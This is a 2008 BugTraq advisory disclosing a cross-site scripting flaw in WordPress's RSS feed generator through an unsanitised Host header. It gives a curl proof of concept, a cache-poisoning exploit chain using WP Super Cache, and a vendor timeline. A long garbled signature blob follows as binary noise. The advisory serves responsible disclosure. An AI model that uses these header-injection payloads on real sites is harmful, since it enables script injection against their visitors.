BugTraq
WordPress XSS vulnerability in RSS Feed Generator Nov 25 2008 10:21PM
Jeremias Reith (jr terragate net)
===== noXSS.org Security Advisory ======

Advisory: WordPress XSS vulnerability in RSS Feed Generator
Author: Jeremias Reith <jr (at) noxss (dot) org [email concealed]>
Published: 2008/11/25
Affected: WordPress < 2.6.5

Summary
=======

WordPress prior to v2.6.3 fails to sanitize the Host header variable
correctly when generating RSS feeds and is therefore prune to XSS
attacks.

Web Sites running in a name based virtual hosting setup are not
affected as long as they are not the default virtual host.
Moreover we only found installations running on the Apache web server
to be affected.

Vulnerability Details
=====================

The function self_link() in wp-includes/feed.php is used to generate
absolute URLs for the <atom:link> tag in ATOM and RSS 2.0 feeds:

function self_link() {
echo 'http'
. ( $_SERVER['https'] == 'on' ? 's' : '' ) . '://'
. $_SERVER['HTTP_HOST']
. wp_specialchars(stripslashes($_SERVER['REQUEST_URI']), 1);
}

The function does not sanitize the HTTP_HOST variable in any way but
WordPress replaces all $_SERVER variables with escaped ones in
wp-settings.php:

$_SERVER = add_magic_quotes($_SERVER);

In almost all setups add_magic_quotes() runs
mysql_real_escape_string() over the elements and returns the modified
array. Unfortunately this escaping method is not safe in markup
context.

PoC
====

The Apache web server only disallows '/', '\' and '..' within the host
header. The header can therefore contain markup making the following
PoC possible:

curl -H "Host: \"><body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.org/blog/feed

The given example request will return (without additional newlines):

-- snip --
...
<atom:link href="http://\">
<body onload=alert(String.fromCharCode(88,83,83))>
/blog/feed" rel="self" type="application/rss+xml" />
...
-- snip --

The embedded JavaScript will be executed in Firefox 3.0.4 due to the
triggered switch to Quirks mode.

Exploit
=======

The following exploit is a semi-stored XSS attack and has been tested
with the following setup:

- Apache 2.x with IP based virtual hosting
- Wordpress 2.6.3 installed in /blog/
- WP Super Cache 0.84
- Firefox 3.0.4

WP Super Cache is a popular WordPress plugin that adds static file
caching to WordPress. It greatly increases performance and is
often used. It saves generated pages in the wp-content/cache directory
and adds mod_rewrite rules to serve cached pages statically.

Issuing a malicious request to a vulnerable WordPress installation
will lead to a file containing the XSS to be generated and placed
within the document root.

Request:
curl -H "Host: \"><body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.org/blog/feed

Generated file:
http://example.org/blog/wp-content/cache/wp-cache-#md5sum#.html

Firefox will execute the embedded JavaScript even tough the feed is
XML because the file is served as text/html.

The only missing the step is the calculation cached file's MD5 sum.

The following code generates the MD5 checksum:

php -r 'echo md5("\"><body
onload=alert(String.fromCharCode(88,83,83))>".
"/blog/feed"), "\n";'

In the default setup the MD5 sum can be generated by concatenating the
contents of HTTP_HOST and REQUEST_URI resulting in
0d2ca4617758433a7864d57493be2c5b for the given example.

This file can be accessed until the cache expiration mechanism removes
it. The default expire time is 3600 seconds.

Vendor Response
===============
2008-11-17 Reported to vendor
2008-11-17 Initial response from vendor
2008-11-25 Release of version 2.6.5

0? *?H?÷
 ?0?1 0 +0? *?H?÷
 ?!0?Ú0?C Cçy³±è¾;Ü??0|ó?0
 *?H?÷
0b1 0 UZA1%0#U
Thawte Consulting (Pty) Ltd.1,0*U#Thawte Personal Freemail Issuing CA0
080129113510Z
090128113510Z0B10UThawte Freemail Member10 *?H?÷
 jr (at) terragate (dot) net0 [email concealed]?"0
 *?H?÷
?0?
?³Æ+Z?Ö¹dàyy
Õ?!£VaEÑ?? + ë?øìÈ? ¾|ä­b㡺1Á©òbc[|UÖ­hÀ?úxy`=Æ°@R¿ç¥Å/?o8Ýc¬z«ª??4?ûÙà{æÞ?~k¾ivÀ]
dwu]SÝ³¡kÄP?2 ~ê¥?^?Èá??ۍÃ&úhWo<?îM^Kÿúp#eô?|^kQQ²:´­¶æ'©+?Ç
OÏç¿w;??zC?ÿU?OYO)ÑVW?ÑxqI¯÷ÎýËêÇ?>?ö¾ÿb=P-KÃZÜâ"ÑïëßÝIî??9¦àÝUÐ
££-0+0U0jr (at) terragate (dot) net0 [email concealed] Uÿ00
 *?H?÷
½µ?êá \ä¹.ñ?eÞò·D?mÌë «w?UÞå1@?BÛÔs:í-¢ÇªÏÑHx³G];Õ¡?ù?ÇKSØ·?æÖ?^E?jW6T
LZ?Z(`ÈgI?Éç~wØ?ÛE?þf_XDQ*?ê?^ô!?×?¦ñLÞÑñ?ª0??0?¨ 
0
 *?H?÷
0Ñ1 0 UZA10U Western Cape10U Cape Town10U
Thawte Consulting1(0&U Certification Services Division1$0"UThawte Personal Freemail CA1+0) *?H?÷
 personal-freemail (at) thawte (dot) com0 [email concealed]
030717000000Z
130716235959Z0b1 0 UZA1%0#U
Thawte Consulting (Pty) Ltd.1,0*U#Thawte Personal Freemail Issuing CA0?0
 *?H?÷
0?Ä¦<UsUûN¹Ê?ZhÀupßéÿ£ì½Íõ[òv½ :aò¿QÎÔåP
0×cZ,?p?ÝÉð+?Zª?qV˯< çñ?6$*Ï+Õó?w=¾+þ»>¿@?dק¦»?eÑÅ*T?H§¶Ñ<
a@dr`·û£?0?0Uÿ0ÿ0CU<0:08 6 4?2http://crl.tha
wte.com/ThawtePersonalFreemailCA.crl0 U0)U"0 ¤010UPrivateLabel2-1380
 *?H?÷
H?ÑP?ê .Ì
£f¬g¯¬¾Â¡C??L!¸ø6ª-?6/ÀôP ?p<ý­áabÃÙ:~?±?Å ?t?%P?bÇÛ'qW%Ý©?9?? Oe_?Ú÷÷?ÖÆN®öê4å[5MwãV!x?Ü!5Þ$±ÓFÿ]_eO1?0? 0v0b1 0 UZA1%0#U
Thawte Consulting (Pty) Ltd.1,0*U#Thawte Personal Freemail Issuing CACçy³±è¾;Ü??0|ó?0 + ?o0 *?H?÷
 1  *?H?÷
0 *?H?÷
 1
081125222111Z0# *?H?÷
 1-?ÙhÍ?H½íT??blÎ;Píõ0? +?71x0v0b1 0 UZA1%0#U
Thawte Consulting (Pty) Ltd.1,0*U#Thawte Personal Freemail Issuing CACçy³±è¾;Ü??0|ó?0? *?H?÷
  1x v0b1 0 UZA1%0#U
Thawte Consulting (Pty) Ltd.1,0*U#Thawte Personal Freemail Issuing CACçy³±è¾;Ü??0|ó?0
 *?H?÷
?ĵUb$!ö??Í?âªcKâooG?¡uüðÔë×À×9???´k?±W s®2?k¸ô Æxõ?Çéò6É?èð¡Á"j5à]{<Q[½À7Ú?\G:L?v??®qªÜÑÁ¾?G³_¹SF¨~1~?èÁJ`Ò?ç°0
h?g??T¯å?Ö6úàj8]?ãæ äìDÙèΦþOr|l?MâK2=ÖÿÙ¤³Å?Iá/l°?XR?p? e3Ñé?~¤ö×LÓ
?@¢: hÂXú³&%ÊÌ`Ä>» .QÄÃT ½9¡r,þ+9"J}
²??UÎ;

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus